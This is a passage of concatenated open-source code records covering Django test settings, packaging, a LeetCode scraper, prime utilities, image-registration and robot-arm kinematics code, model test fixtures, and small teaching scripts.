development of the app in a tox-based environment.\"\"\"\n\n# Python imports\nimport os\nimport sys\n\n# Path to the test directory\nTEST_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# Path to the project root\nPROJECT_ROOT = os.path.dirname(TEST_ROOT)\n\n# Add PROJECT_ROOT to Python path\nsys.path.append(os.path.normpath(PROJECT_ROOT))\n\n# Allow all hosts during development\nALLOWED_HOSTS = [\"*\"]\n\n# Required setting as per Django 3.2\nDEFAULT_AUTO_FIELD = \"django.db.models.BigAutoField\"\n\n# Database configuration\nDATABASES = {\n \"default\": {\n \"ENGINE\": \"django.db.backends.sqlite3\",\n \"NAME\": os.path.join(TEST_ROOT, \"test.sqlite\"),\n }\n}\n\n# Provide a minimal Django project as environment\nINSTALLED_APPS = [\n \"django.contrib.admin\",\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.messages\",\n \"django.contrib.sessions\",\n \"django.contrib.staticfiles\",\n \"calingen\",\n]\n\nMIDDLEWARE = [\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n]\n\nROOT_URLCONF = \"tests.util.urls_dev\"\n\nSECRET_KEY = \"only-for-development\" # nosec: this is on purpose, just for development\n\nSTATIC_URL = \"/static/\"\n\nTEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n \"DIRS\": [\n os.path.join(TEST_ROOT, \"util\", \"templates\"),\n ],\n \"APP_DIRS\": True,\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.contrib.auth.context_processors.auth\",\n # 'django.template.context_processors.i18n',\n \"django.template.context_processors.request\",\n \"django.template.context_processors.static\",\n \"django.contrib.messages.context_processors.messages\",\n ],\n },\n },\n]\n\n# deactivate Internationalization for tests\nUSE_I18N = False\n","repo_name":"Mischback/django-calingen","sub_path":"tests/util/settings_test.py","file_name":"settings_test.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"30"} +{"seq_id":"29931864770","text":"\"\"\"Packaging settings.\"\"\"\n\nfrom codecs import open\nfrom os.path import abspath, dirname, join\nfrom subprocess import call\nfrom setuptools import Command, find_packages, setup\n\nthis_dir = abspath(dirname(__file__))\nwith open(join(this_dir, 'README.md'), encoding='utf-8') as file:\n long_description = file.read()\n\n\nclass RunTests(Command):\n \"\"\"Run all tests.\"\"\"\n description = 'run tests'\n user_options = []\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n def run(self):\n \"\"\"Run all tests!\"\"\"\n errno = call(['py.test', '--cov=robostash', '--cov-report=term-missing'])\n raise SystemExit(errno)\n\n\nsetup(\n name='robostash',\n version='0.2.0',\n description='A command-line tool to backup and restore Git Repositories from Atlassian Bitbucket',\n long_description='A command-line tool to backup and restore Git Repositories from Atlassian Bitbucket',\n url='https://github.com/dinohead/robostash',\n author=\"Derek Halsey\",\n author_email='derek@dinohead.com',\n license='MIT',\n classifiers=[\n 'Intended Audience :: Developers',\n 'Topic :: Utilities',\n 'License :: Public Domain',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.2',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n ],\n keywords='cli',\n packages=find_packages(exclude=['docs', 'tests*']),\n # package_dir={'':''},\n # package_data={ '': ['fonts/*.ttf'], },\n install_requires=['stashy', 'termcolor'],\n extras_require={\n 'test': ['coverage', 'pytest', 'pytest-cov'],\n },\n entry_points={\n 'console_scripts': [\n 'robostash=robostash.cli:main',\n ],\n },\n cmdclass={'test': RunTests},\n)\n","repo_name":"dinohead/robostash","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"74703475284","text":"import json\nfrom pathlib import Path\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\n\noptions = Options()\noptions.add_argument(\"--headless\")\noptions.add_argument(\"--log-level=3\")\ndriver = webdriver.Firefox(executable_path=\"/usr/local/bin/geckodriver\", options=options)\n\nALGORITHMS_ENDPOINT_URL = \"https://leetcode.com/api/problems/algorithms/\"\nALGORITHMS_BASE_URL = \"https://leetcode.com/problems/\"\n\n# NOTE: Configure your path for storing the problems\nBASE_PROBLEMS_PATH = \"\"\n\n\ndef download(url: str, question_id: int, question_title_slug: str):\n \"\"\"Download the URL content using geckodriver and create file(s) based on needs\n\n Args:\n url (str): The URL to scrap.\n question_id (int): The question ID.\n question_title_slug (str): The question title slug.\n \"\"\"\n try:\n l = len(f\"{question_id}\")\n folder_name = f'_{\"0\" * (4 - l)}{question_id}_{question_title_slug.replace(\"-\", \"_\")}'\n Path(f\"{BASE_PROBLEMS_PATH}/{folder_name}\").mkdir(parents=True, exist_ok=True)\n\n driver.get(url)\n _ = WebDriverWait(driver, 20).until(EC.invisibility_of_element_located((By.ID, \"initial-loading\")))\n html = driver.page_source\n soup = BeautifulSoup(html, \"html.parser\")\n\n # Modify the content as per your needs\n content = (\n str(soup.find(\"div\", {\"class\": \"content_u3I1 question-content_JfgR\"}).div)\n .replace(\"
\", \"\")\n .replace(\"
\", \"\")\n )\n\n with open(f\"{BASE_PROBLEMS_PATH}/{folder_name}/README.md\", \"w\") as fp:\n fp.write(content)\n\n except Exception as exception:\n print(f\"Error: {exception}\")\n\n\ndef main():\n \"\"\"Collects the list of problems from leetcode and scraps each problem from the list in the order of question ID.\"\"\"\n all_problem_json = requests.get(ALGORITHMS_ENDPOINT_URL).content\n all_problem_json = json.loads(all_problem_json)\n\n links = []\n for child in all_problem_json[\"stat_status_pairs\"]:\n if not child[\"paid_only\"]:\n question_title_slug = child[\"stat\"][\"question_title_slug\"]\n question_article_slug = child[\"stat\"][\"question_article_slug\"]\n question_title = child[\"stat\"][\"question_title\"]\n frontend_question_id = child[\"stat\"][\"frontend_question_id\"]\n links.append((question_title_slug, frontend_question_id, question_title, question_article_slug))\n\n links = sorted(links, key=lambda x: (x[1]))\n\n try:\n with open(\"track.conf\", \"r\") as f:\n start = int(f.readline())\n start = 0 if start < 0 else start\n for i in range(start, len(links)):\n question_title_slug, frontend_question_id, question_title, question_article_slug = links[i]\n url = ALGORITHMS_BASE_URL + question_title_slug\n download(url, frontend_question_id, question_title_slug)\n print(f'Question \"{frontend_question_id} {question_title}\" done')\n finally:\n driver.quit()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bumblebee211196/leetcode-scrapper","sub_path":"scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"30024330746","text":"\nimport math\nfrom modulo import Modulo\n\n# Used in problem 3, 7\n\nclass Prime:\n # These are consecutive\n # If a prime is known outside the consecutive range, it won't be added\n known_primes = []\n known_composites = [1]\n\n iter = None\n\n def is_prime(self, n):\n if n in Prime.known_primes:\n return True\n\n if n in Prime.known_composites:\n return False\n\n # this could be improved with an int sqrt algorithm - no need to have a float\n limit = int(math.sqrt(n))\n\n for i in xrange(2, limit + 1):\n if self.is_prime(i):\n if n % i == 0:\n Prime.known_composites.append(n)\n return False\n\n Prime.known_primes.append(n)\n return True\n\n def primes_up_to(self, u, l=2):\n for i in xrange(l, u + 1):\n if self.is_prime(i):\n yield i\n\n def smallest_factor(self, n):\n # this could be improved with an int sqrt algorithm - no need to have a float\n limit = int(math.sqrt(n))\n\n for p in self.primes_up_to(limit):\n if n % p == 0:\n return p\n return n\n\n def largest_factor(self, n):\n while not self.is_prime(n):\n n = n / self.smallest_factor(n)\n return n\n\n def is_probably_prime(self, n, base=2):\n return n > base and Modulo(n).power(base, n-1) == 1\n\np = Prime()\n","repo_name":"beaubreedlove/Project-Euler","sub_path":"lib/prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"193871641","text":"import nibabel as nib\nimport torch\nfrom tensorflow import keras\nimport tensorflow as tf\n\nfrom src.layers import SpatialInterpolation\nfrom utils import synthmorph_utils, fn_utils\nfrom utils.labels import *\n\ndef integrate_svf(svf_mri, factor=2, inverse=False, int_end=1):\n svf = np.array(svf_mri.dataobj)\n if inverse: svf = -svf\n if svf.shape[0] == 3:\n svf = np.transpose(svf, axes=(1, 2, 3, 0))\n\n Saff = svf_mri.affine\n Daff = Saff.copy()\n for c in range(3):\n Daff[:-1, c] = Daff[:-1, c] / factor\n Daff[:-1, -1] = Daff[:-1, -1] - np.matmul(Daff[:-1, :-1], 0.5 * (np.array([factor]*3) - 1))\n\n integrator = keras.Sequential([synthmorph_utils.VecInt(method='ss', int_steps=7, int_end=int_end)])\n upscaler = keras.Sequential([synthmorph_utils.RescaleTransform(factor)]) if factor != 1 else lambda x: x\n\n warp_pos_small = integrator(tf.convert_to_tensor(svf[np.newaxis]))\n f2r_field = np.squeeze(upscaler(warp_pos_small))\n\n flow_mri = nib.Nifti1Image(f2r_field, Daff.astype('float32'))\n\n return flow_mri\n\ndef vol_resample(ref_proxy, flo_proxy, proxysvf=None, proxyflow=None, mode='bilinear', device='cpu', return_np=False):\n interp_func_flow = SpatialInterpolation(padding_mode='zeros', mode='bilinear').to(device)\n if mode == 'distance':\n interp_func = fn_utils.compute_distance_map_nongrid\n else:\n interp_func = SpatialInterpolation(padding_mode='border', mode=mode).to(device)\n\n ref_v2r = (ref_proxy.affine).astype('float32')\n target_v2r = (flo_proxy.affine).astype('float32')\n\n image = np.array(flo_proxy.dataobj)\n if len(image.shape) == 3: image = torch.tensor(image[np.newaxis, np.newaxis], device=device).float()\n elif len(image.shape) == 4: image = torch.tensor(np.transpose(image, axes=(3, 0, 1, 2))[np.newaxis], device=device).float()\n else: raise ValueError('Image must be 3-D or 4-D (channels in the last dimensions).')\n\n ii = np.arange(0, ref_proxy.shape[0], dtype='int32')\n jj = np.arange(0, ref_proxy.shape[1], dtype='int32')\n kk = np.arange(0, ref_proxy.shape[2], dtype='int32')\n\n II, JJ, KK = np.meshgrid(ii, jj, kk, indexing='ij')\n\n del ii, jj, kk\n\n II = torch.tensor(II, device='cpu')\n JJ = torch.tensor(JJ, device='cpu')\n KK = torch.tensor(KK, device='cpu')\n\n if proxysvf is not None or proxyflow is not None:\n if proxysvf is not None: proxyflow = integrate_svf(proxysvf)\n\n flow = np.array(proxyflow.dataobj)\n flow_v2r = proxyflow.affine\n flow_v2r = flow_v2r.astype('float32')\n\n if len(flow.shape) == 4: flow = flow[np.newaxis]\n if flow.shape[-1] == 3: flow = np.transpose(flow, axes=(0, 4, 1, 2, 3))\n flow = torch.tensor(flow)\n\n affine = torch.tensor(np.linalg.inv(flow_v2r) @ ref_v2r)\n vM_ref_svf_I = affine[0, 0] * II + affine[0, 1] * JJ + affine[0, 2] * KK + affine[0, 3]\n vM_ref_svf_J = affine[1, 0] * II + affine[1, 1] * JJ + affine[1, 2] * KK + affine[1, 3]\n vM_ref_svf_K = affine[2, 0] * II + affine[2, 1] * JJ + affine[2, 2] * KK + affine[2, 3]\n\n vM = torch.unsqueeze(torch.stack((vM_ref_svf_I, vM_ref_svf_J, vM_ref_svf_K), dim=0), 0)\n flow_res = interp_func_flow(flow, vM)\n\n vM_flo_svf_I = vM_ref_svf_I + flow_res[0, 0]\n vM_flo_svf_J = vM_ref_svf_J + flow_res[0, 1]\n vM_flo_svf_K = vM_ref_svf_K + flow_res[0, 2]\n\n affine = torch.tensor(np.linalg.inv(target_v2r) @ flow_v2r)\n vM_flo_I = affine[0, 0] * vM_flo_svf_I + affine[0, 1] * vM_flo_svf_J + affine[0, 2] * vM_flo_svf_K + affine[0, 3]\n vM_flo_J = affine[1, 0] * vM_flo_svf_I + affine[1, 1] * vM_flo_svf_J + affine[1, 2] * vM_flo_svf_K + affine[1, 3]\n vM_flo_K = affine[2, 0] * vM_flo_svf_I + affine[2, 1] * vM_flo_svf_J + affine[2, 2] * vM_flo_svf_K + affine[2, 3]\n vM_flo = torch.unsqueeze(torch.stack((vM_flo_I, vM_flo_J, vM_flo_K), axis=0), 0)\n\n else:\n affine = torch.tensor(np.linalg.inv(target_v2r) @ ref_v2r)\n vM_flo_I = affine[0, 0] * II + affine[0, 1] * JJ + affine[0, 2] * KK + affine[0, 3]\n vM_flo_J = affine[1, 0] * II + affine[1, 1] * JJ + affine[1, 2] * KK + affine[1, 3]\n vM_flo_K = affine[2, 0] * II + affine[2, 1] * JJ + affine[2, 2] * KK + affine[2, 3]\n vM_flo = torch.unsqueeze(torch.stack((vM_flo_I, vM_flo_J, vM_flo_K), axis=0), 0)\n\n\n if mode == 'distance':\n reg_image = interp_func(np.squeeze(image.cpu().detach().numpy()),\n np.squeeze(vM_flo.cpu().detach().numpy()),\n labels_lut={k: it_k for it_k, k in enumerate(POST_ARR)})\n\n else:\n reg_image = interp_func(image, vM_flo)\n reg_image = np.squeeze(reg_image.cpu().detach().numpy())\n if len(reg_image.shape) == 4: reg_image = np.transpose(reg_image, axes=(1, 2, 3, 0))\n\n del vM_flo\n\n if return_np:\n return reg_image\n else:\n return nib.Nifti1Image(reg_image, ref_proxy.affine)\n\ndef vol_resample_fast(ref_proxy, flo_proxy, proxyflow=None, mode='bilinear', device='cpu', return_np=False):\n\n ref_v2r = (ref_proxy.affine).astype('float32')\n target_v2r = (flo_proxy.affine).astype('float32')\n\n ii = np.arange(0, ref_proxy.shape[0], dtype='int32')\n jj = np.arange(0, ref_proxy.shape[1], dtype='int32')\n kk = np.arange(0, ref_proxy.shape[2], dtype='int32')\n\n II, JJ, KK = np.meshgrid(ii, jj, kk, indexing='ij')\n\n del ii, jj, kk\n\n II = torch.tensor(II, device='cpu')\n JJ = torch.tensor(JJ, device='cpu')\n KK = torch.tensor(KK, device='cpu')\n\n if proxyflow is not None:\n\n flow_v2r = proxyflow.affine\n flow_v2r = flow_v2r.astype('float32')\n\n affine = torch.tensor(np.linalg.inv(flow_v2r) @ ref_v2r)\n II2 = affine[0, 0] * II + affine[0, 1] * JJ + affine[0, 2] * KK + affine[0, 3]\n JJ2 = affine[1, 0] * II + affine[1, 1] * JJ + affine[1, 2] * KK + affine[1, 3]\n KK2 = affine[2, 0] * II + affine[2, 1] * JJ + affine[2, 2] * KK + affine[2, 3]\n\n flow = np.array(proxyflow.dataobj)\n if flow.shape[-1] == 3: flow = np.transpose(flow, axes=(3, 0, 1, 2))\n flow = torch.tensor(flow)\n\n FIELD = synthmorph_utils.fast_3D_interp_field_torch(flow, II2, JJ2, KK2)\n II3 = II2 + FIELD[:, :, :, 0]\n JJ3 = JJ2 + FIELD[:, :, :, 1]\n KK3 = KK2 + FIELD[:, :, :, 2]\n\n\n affine = torch.tensor(np.linalg.inv(flow_v2r) @ flow_v2r)\n II4 = affine[0, 0] * II3 + affine[0, 1] * JJ3 + affine[0, 2] * KK3 + affine[0, 3]\n JJ4 = affine[1, 0] * II3 + affine[1, 1] * JJ3 + affine[1, 2] * KK3 + affine[1, 3]\n KK4 = affine[2, 0] * II3 + affine[2, 1] * JJ3 + affine[2, 2] * KK3 + affine[2, 3]\n\n\n else:\n affine = torch.tensor(np.linalg.inv(target_v2r) @ ref_v2r)\n II4 = affine[0, 0] * II + affine[0, 1] * JJ + affine[0, 2] * KK + affine[0, 3]\n JJ4 = affine[1, 0] * II + affine[1, 1] * JJ + affine[1, 2] * KK + affine[1, 3]\n KK4 = affine[2, 0] * II + affine[2, 1] * JJ + affine[2, 2] * KK + affine[2, 3]\n\n\n image = np.array(flo_proxy.dataobj)\n if len(flo_proxy.shape) == 3:\n reg_image = synthmorph_utils.fast_3D_interp_torch(torch.tensor(image), II4, JJ4, KK4, mode)\n else:\n reg_image = synthmorph_utils.fast_3D_interp_field_torch(torch.tensor(image), II4, JJ4, KK4)\n\n reg_image = reg_image.numpy()\n\n if return_np:\n return reg_image\n else:\n return nib.Nifti1Image(reg_image, ref_proxy.affine)\n","repo_name":"acasamitjana/JUMP","sub_path":"utils/def_utils.py","file_name":"def_utils.py","file_ext":"py","file_size_in_byte":7440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"26204840016","text":"\"\"\"Setup fixtures for testing :py:class:`lmp.model._elman_net`.\"\"\"\n\nimport pytest\nimport torch\n\nfrom lmp.model._elman_net import ElmanNet, ElmanNetLayer\nfrom lmp.tknzr._base import BaseTknzr\n\n\n@pytest.fixture\ndef elman_net(\n d_emb: int,\n d_hid: int,\n init_lower: float,\n init_upper: float,\n label_smoothing: float,\n n_lyr: int,\n p_emb: float,\n p_hid: float,\n tknzr: BaseTknzr,\n) -> ElmanNet:\n \"\"\":py:class:`lmp.model._elman_net.ElmanNet` instance.\"\"\"\n return ElmanNet(\n d_emb=d_emb,\n d_hid=d_hid,\n init_lower=init_lower,\n init_upper=init_upper,\n label_smoothing=label_smoothing,\n n_lyr=n_lyr,\n p_emb=p_emb,\n p_hid=p_hid,\n tknzr=tknzr,\n )\n\n\n@pytest.fixture\ndef elman_net_layer(\n in_feat: int,\n init_lower: float,\n init_upper: float,\n out_feat: int,\n) -> ElmanNetLayer:\n \"\"\":py:class:`lmp.model._elman_net.ElmanNetLayer` instance.\"\"\"\n return ElmanNetLayer(\n in_feat=in_feat,\n init_lower=init_lower,\n init_upper=init_upper,\n out_feat=out_feat,\n )\n\n\n@pytest.fixture\ndef batch_tkids(elman_net: ElmanNet) -> torch.Tensor:\n \"\"\"Batch of token ids.\"\"\"\n # Shape: (2, 4).\n return torch.randint(low=0, high=elman_net.emb.num_embeddings, size=(2, 4))\n\n\n@pytest.fixture\ndef batch_cur_tkids(batch_tkids: torch.Tensor) -> torch.Tensor:\n \"\"\"Batch of input token ids.\"\"\"\n # Shape: (2, 3).\n return batch_tkids[..., :-1]\n\n\n@pytest.fixture\ndef batch_next_tkids(batch_tkids: torch.Tensor) -> torch.Tensor:\n \"\"\"Batch of target token ids.\"\"\"\n # Shape: (2, 3).\n return batch_tkids[..., 1:]\n\n\n@pytest.fixture\ndef x(elman_net_layer: ElmanNetLayer) -> torch.Tensor:\n \"\"\"Batch of input features.\"\"\"\n # Shape: (2, 3, in_feat)\n return torch.rand((2, 3, elman_net_layer.in_feat))\n","repo_name":"ProFatXuanAll/language-model-playground","sub_path":"test/lmp/model/_elman_net/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"30"} +{"seq_id":"24051686088","text":"menu = {\"ข้าวหมกไก่\":45,\"ข้าวหน้าปลาแซลม่อน\":150,\"ข้าวหมูกรอบไข่มะตูม\":65,}\nmenuList = []\n\ndef showBill():\n print(\"------- My Food Station -------\")\n for i in range(len(menuList)):\n print(menuList[i][0],menuList[i][1])\n\nwhile True:\n menuName = input(\"Please Enter Manu : \")\n if(menuName.lower() == \"exit\"):\n break\n else:\n menuList.append([menuName,menu[menuName]])\n\nprint(menuList)\nshowBill()\n","repo_name":"Postmea/CP3-TANADAT-THANYAJAROENKANKA","sub_path":"ProgramEx.py","file_name":"ProgramEx.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"5639117678","text":"#Implicit wait - it is applied only to find_element, find_elements\n# - you cannot give the condition\n\nfrom selenium import webdriver\npath = r\"C:\\Users\\Mohite's\\Downloads\\chromedriver_win32\\chromedriver.exe\"\ndriver = webdriver.Chrome(path)\n\n# driver.implicitly_wait(30)\n\n# driver.get(\"file:///C:/Users/Mohite's/Downloads/loading%20(1).html\")\n# driver.maximize_window()\n# start = time.time()\n# driver.find_element_by_name(\"fname\").send_keys(\"Ash\")\n# end = time.time()\n\ndriver.get(\"file:///C:/Users/Mohite's/Downloads/progressbar%20(1).html\")\ndriver.maximize_window()\ndriver.find_element(\"xpath\", \"//button[text()='Click Me']\").click()\ndriver.find_element(\"xpath\", \"//div[text()='100%']\")\ndriver.find_element(\"xpath\", \"//button[text()='Click Me']\").click()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"mohiteash/Pycharm_projects","sub_path":"pythonProject1_htd/selenium/sel_imp.py","file_name":"sel_imp.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"10107339406","text":"from __future__ import print_function\nfrom itertools import count\nimport json\nimport re\nimport sys\nimport time\n\nfrom sqlalchemy import Table\nfrom sqlalchemy.dialects.postgresql import insert\n\nfrom salsa import Base\nfrom salsa import Session\nfrom salsa import metadata\n\n\nclass Collection(Base):\n __table__ = Table('collections', metadata, autoload=True)\n\n\npattern = re.compile(r\".+/archives/([.\\w-]+)/(collection|manifest).json$\")\n\n\ndef extract_slug(url):\n matched = pattern.match(url)\n if matched:\n return matched.group(1)\n\n\ndef children_collection(doc):\n collections = doc.get('collections', []) + doc.get('manifests', [])\n step = count()\n kws = [\n dict(slug=extract_slug(c['@id']), position=next(step), label=c['label'], type=c['@type'])\n for c in collections\n ]\n return kws\n\n\ndef load_json(path):\n with open(path) as f:\n return json.load(f)\n\n\ndef load(path, dbsession):\n doc = load_json(path)\n label = doc['label']\n slug = extract_slug(doc['@id'])\n type_ = doc['@type']\n upsert_data = dict(slug=slug, label=label, type=type_, doc=doc)\n insert_data = upsert_data.copy()\n insert_data.update(parent_slug=None)\n root = insert(Collection).values(insert_data)\n root = root.on_conflict_do_update(\n constraint='collections_pkey',\n # We update every columns except 'parent_slug'\n set_=dict(upsert_data))\n dbsession.execute(root)\n dbsession.commit()\n\n upsert_children(doc, slug, dbsession)\n\n\ndef upsert_children(doc, parent_slug, dbsession):\n pairs = [dict(parent_slug=parent_slug, **kw) for kw in children_collection(doc)]\n if pairs:\n sql = insert(Collection).values(pairs)\n sql = sql.on_conflict_do_update(\n constraint='collections_pkey',\n # We only update the parent slug and position\n set_=dict(parent_slug=sql.excluded.parent_slug, position=sql.excluded.position))\n dbsession.execute(sql)\n dbsession.commit()\n\n\nif __name__ == '__main__':\n sess = Session()\n start = time.time()\n\n if len(sys.argv) > 1:\n with open(sys.argv[1]) as lines:\n for line in lines:\n print('Loading {}'.format(line))\n load(line.strip(), sess)\n delta = time.time() - start\n print('Done in {:f} seconds'.format(delta))\n else:\n print('please provide the manifests.txt')\n","repo_name":"rit/dana-api","sub_path":"dana/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"11696384365","text":"import numpy as np\nimport sympy\nfrom sympy import Matrix, diff, sin, cos\nimport math\nimport time\nimport matplotlib.pyplot as plt\n\nPI = math.pi\nerror = np.array([0,0])\nprevious_time = np.array([time.time()])\n\n\ndef translation(theta, d , a, alpha):\n A_theta = Matrix([[cos(theta), -sin(theta), 0, 0], [sin(theta), cos(theta), 0, 0], [0,0,1,0], [0,0,0,1]])\n T_a = Matrix([[1, 0, 0, a], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]])\n T_d= Matrix([[1,0,0,0], [0,1,0,0],[0,0,1,d],[0,0,0,1]])\n A_alpha = Matrix([[1,0,0,0],[0,cos(alpha), -sin(alpha), 0], [0,sin(alpha), cos(alpha), 0], [0,0,0,1]])\n return A_theta * T_a * T_d * A_alpha\n\n\ndef kinematics3joint(theta_1, theta_2,theta_3,length1, length2, length3):\n d_1 = 0\n d_2 = 0\n d_3 = 0\n\n a_1 = length1\n a_2 = length2\n a_3 = length3\n\n alpha_1 = 0\n alpha_2 = 0\n alpha_3 = 0\n\n A_10 = translation(theta_1,d_1,a_1,alpha_1)\n A_21 = translation(theta_2,d_2,a_2,alpha_2)\n A_32 = translation(theta_3,d_3,a_3,alpha_3)\n\n fk = A_10*A_21*A_32\n return fk\n\n\ndef kinematics(theta_1, theta_2, length1, length2):\n\n d_1 = 0\n d_2 = 0\n\n a_1 = length1\n a_2 = length2\n\n alpha_1 = 0\n alpha_2 = 0\n\n A_10 = translation(theta_1,d_1,a_1,alpha_1)\n A_21 = translation(theta_2,d_2,a_2,alpha_2)\n\n fk = A_10*A_21\n return fk\n\ndef jacobian(current_theta_1, current_theta_2, l1, l2):\n sym_theta_1 = sympy.Symbol('theta_1')\n sym_theta_2 = sympy.Symbol('theta_2')\n k = kinematics(sym_theta_1,sym_theta_2,l1,l2)\n print(k[3])\n print(k[7])\n j = Matrix([[diff(k[3], sym_theta_1), diff(k[3], sym_theta_2)], [diff(k[7], sym_theta_1), diff(k[7], sym_theta_2)]])\n print(j)\n print(current_theta_1)\n print(current_theta_2)\n j = j.subs(sym_theta_1, current_theta_1)\n j = j.subs(sym_theta_2, current_theta_2)\n return np.array(j).astype(np.float64)\n\ndef desired_joint_angles(theta1, theta2, l1, l2, x_d, y_d):\n global error, previous_time\n jac = jacobian(theta1, theta2, l1, l2)\n # P gain\n K_p = np.array([[0.1,0],[0,0.1]])\n # D gain\n K_d = np.array([[0.001,0],[0,0.001]])\n print(\"current joint vals = \", theta1, \"and\", theta2)\n kin = kinematics(theta1,theta2,l1,l2)\n # robot end-effector position\n pos = np.array([kin[3], kin[7]])\n print(\"curr_pos = \", pos)\n # desired trajectory\n pos_d = np.array([x_d,y_d])\n print(\"desired_pos = \", pos_d)\n # estimate derivative of error\n error_d = ((pos_d - pos) - error)\n print(\"error_d = \",error_d)\n # estimate error\n error = pos_d-pos\n print(\"error = \", error)\n q = np.array([theta1, theta2]) # estimate initial value of joints'\n J_inv = np.linalg.pinv(jac) # calculating the psudeo inverse of Jacobian\n print(\"jacobian= \", jac)\n print(\"J_inv= \", J_inv)\n e_d_dot = np.dot(K_d, error_d.transpose())\n e_dot = np.dot(K_p, error.transpose())\n print(\"all about them shapes\", e_d_dot.shape, e_dot.shape, J_inv.shape)\n print(\"argh error_d you ass\", np.dot(K_d, error_d.transpose()))\n print(\"this bes error with kp\", np.dot(K_p, error.transpose()))\n print(\"and this is the addition\", e_d_dot + e_dot)\n dq_d =np.dot(J_inv, ( np.dot(K_d,error_d.transpose()) + np.dot(K_p, error.transpose()) ) ) # control input (angular velocity of joints)\n print(\"dq_d = \", dq_d)\n q_d = q + dq_d # control input (angular position of joints)\n # q = np.array([theta1,theta2])\n # x = np.array([theta1_d,theta2_d])\n # dt = 0.00002\n # J_inv = np.linalg.pinv(jac)\n # k = kinematics(q[0], q[1], 0.6, 0.6)\n # curr_pos = np.array([k[3], k[7]])\n #\n # dq_d = dt * np.dot(J_inv, ((x-curr_pos)/dt).transpose())\n # print(dq_d)\n for i in range(len(q_d)):\n if q_d[i] < 0:\n q_d[i] = abs(q_d[i]) % PI\n q_d[i] = -q_d[i]\n else:\n q_d[i] = q_d[i] % PI\n\n return q_d\n\ndef big_boi():\n # Position you want it to go\n desired_x_position = 0.6\n desired_y_position = -0.6\n\n # Lengths of arms sections\n l1 = 0.6\n l2 = 0.6\n # Starting angle\n theta_1 = 0.0\n theta_2 = 0.5\n\n k = kinematics(theta_1, theta_2, l1, l2)\n actual_x = k[3]\n actual_y = k[7]\n times = []\n ac_xs = []\n ac_ys = []\n d_xs = []\n d_ys = []\n threshold = 0.05\n count = 0\n while ((actual_x < desired_x_position - threshold or actual_x > desired_x_position + threshold) or (actual_y < desired_y_position - threshold or actual_y > desired_y_position + threshold)) and count < 2000:\n curr_time = time.time()\n angles = desired_joint_angles(theta_1, theta_2, l1, l2, desired_x_position, desired_y_position)\n k = kinematics(angles[0], angles[1], l1, l2)\n actual_x = k[3]\n actual_y = k[7]\n theta_1 = angles[0]\n theta_2 = angles[1]\n times.append(curr_time)\n ac_xs.append(actual_x)\n ac_ys.append(actual_y)\n d_xs.append(desired_x_position)\n d_ys.append(desired_y_position)\n count += 1\n #print(\"ac x = \", actual_x)\n #print(\"ac y = \", actual_y)\n #print(\"angle 1 =\", angles[0])\n #print(\"angle 2 =\", angles[1])\n\n plt.plot(times, ac_xs, c='r')\n plt.plot(times, ac_ys, c='b')\n plt.plot(times, d_xs, c='y')\n plt.plot(times, d_ys, c='g')\n plt.show()\n print(\"angle 1 =\", angles[0])\n print(\"angle 2 =\", angles[1])\n print(actual_x)\n print(actual_y)\n\ndef testy_boi():\n\n print(desired_joint_angles(-PI/2, PI/4,0.7,0.6, PI/2, -PI/4))\n\ndef brute_force3(d_x, d_y, l1, l2,l3, curr_theta_1 = None, curr_theta_2 = None, curr_theta_3 = None):\n print(\"i made it to brute force 3\")\n print(\"desired x = \",d_x)\n print(\"desired y = \", d_y)\n print(\"curr_theta_3 = \", curr_theta_3)\n desired_x_position = d_x\n desired_y_position = d_y\n # Lengths of arms sections\n l1 = l1\n l2 = l2\n l3 = l3\n # Starting angle\n if curr_theta_1 is not None:\n start_theta_1 = curr_theta_1\n end_theta_1 = curr_theta_1\n else:\n start_theta_1 = 0.0\n end_theta_1 = PI/2\n if curr_theta_2 is not None:\n start_theta_2 = curr_theta_2\n end_theta_2 = curr_theta_2\n else:\n start_theta_2 = 0.0\n end_theta_2 = PI\n if curr_theta_3 is not None:\n start_theta_3 = curr_theta_3 - 